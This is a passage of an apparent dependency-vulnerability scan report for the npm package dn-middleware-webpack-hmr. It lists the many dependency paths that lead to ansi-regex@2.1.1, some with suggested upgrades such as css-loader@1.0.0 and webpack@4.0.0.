  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-ordered-values@2.2.3 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-reduce-idents@2.4.0 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-reduce-idents@2.4.0 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-reduce-initial@1.0.1 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-reduce-initial@1.0.1 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-reduce-transforms@1.0.4 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-reduce-transforms@1.0.4 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-svgo@2.1.6 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-svgo@2.1.6 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-unique-selectors@2.0.2 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-unique-selectors@2.0.2 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-zindex@2.2.0 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-zindex@2.2.0 postcss@5.2.18 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-core@6.26.3 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-plugin-transform-builtin-extend@1.1.2 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-plugin-transform-decorators-legacy@1.3.5 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-plugin-transform-es2015-classes@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-plugin-transform-es2015-classes@6.24.1 babel-helper-function-name@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-plugin-transform-es2015-classes@6.24.1 babel-helper-replace-supers@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-classes@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-block-scoping@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-parameters@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 autoprefixer@6.7.7 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 autoprefixer@6.7.7 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-calc@5.3.1 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-calc@5.3.1 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-colormin@2.2.2 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-colormin@2.2.2 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-convert-values@2.6.1 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-convert-values@2.6.1 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-discard-comments@2.0.4 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-discard-comments@2.0.4 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-discard-duplicates@2.1.0 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-discard-duplicates@2.1.0 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-discard-empty@2.1.0 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-discard-empty@2.1.0 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-discard-overridden@0.1.1 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-discard-overridden@0.1.1 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-discard-unused@2.2.3 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-discard-unused@2.2.3 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-filter-plugins@2.0.3 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-filter-plugins@2.0.3 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-merge-idents@2.1.7 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-merge-idents@2.1.7 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-merge-longhand@2.0.2 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-merge-longhand@2.0.2 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-merge-rules@2.1.2 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-merge-rules@2.1.2 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-minify-font-values@1.0.5 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-minify-font-values@1.0.5 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-minify-gradients@1.0.5 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-minify-gradients@1.0.5 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-minify-params@1.2.2 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-minify-params@1.2.2 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-minify-selectors@2.1.1 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-minify-selectors@2.1.1 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-normalize-charset@1.1.1 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-normalize-charset@1.1.1 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-normalize-url@3.0.8 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-normalize-url@3.0.8 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-ordered-values@2.2.3 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-ordered-values@2.2.3 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-reduce-idents@2.4.0 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-reduce-idents@2.4.0 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-reduce-initial@1.0.1 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-reduce-initial@1.0.1 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-reduce-transforms@1.0.4 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-reduce-transforms@1.0.4 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-svgo@2.1.6 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-svgo@2.1.6 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-unique-selectors@2.0.2 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-unique-selectors@2.0.2 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-zindex@2.2.0 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
    Remediation: Upgrade to css-loader@1.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-zindex@2.2.0 postcss@5.2.18 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack@3.12.0 yargs@8.0.2 cliui@3.2.0 wrap-ansi@2.1.0 string-width@1.0.2 strip-ansi@3.0.1 ansi-regex@2.1.1
    Remediation: Upgrade to webpack@4.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack-dev-server@2.11.5 yargs@6.6.0 cliui@3.2.0 wrap-ansi@2.1.0 string-width@1.0.2 strip-ansi@3.0.1 ansi-regex@2.1.1
    Remediation: Upgrade to webpack-dev-server@4.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-core@6.26.3 babel-helpers@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-plugin-transform-es2015-classes@6.24.1 babel-helper-function-name@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-plugin-transform-es2015-classes@6.24.1 babel-helper-replace-supers@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-classes@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-block-scoping@6.26.0 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-computed-properties@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-modules-commonjs@6.26.2 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-modules-amd@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-modules-systemjs@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-modules-umd@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-parameters@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-plugin-transform-es2015-classes@6.24.1 babel-helper-define-map@6.26.0 babel-helper-function-name@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-classes@6.24.1 babel-helper-function-name@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-function-name@6.24.1 babel-helper-function-name@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-classes@6.24.1 babel-helper-replace-supers@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-object-super@6.24.1 babel-helper-replace-supers@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-async-to-generator@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-parameters@6.24.1 babel-helper-call-delegate@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-core@6.26.3 babel-helpers@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-plugin-transform-es2015-classes@6.24.1 babel-helper-function-name@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-plugin-transform-es2015-classes@6.24.1 babel-helper-replace-supers@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-classes@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-block-scoping@6.26.0 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-computed-properties@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-modules-commonjs@6.26.2 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-modules-amd@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-modules-systemjs@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-modules-umd@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-parameters@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-plugin-transform-es2015-classes@6.24.1 babel-helper-define-map@6.26.0 babel-helper-function-name@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-classes@6.24.1 babel-helper-function-name@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
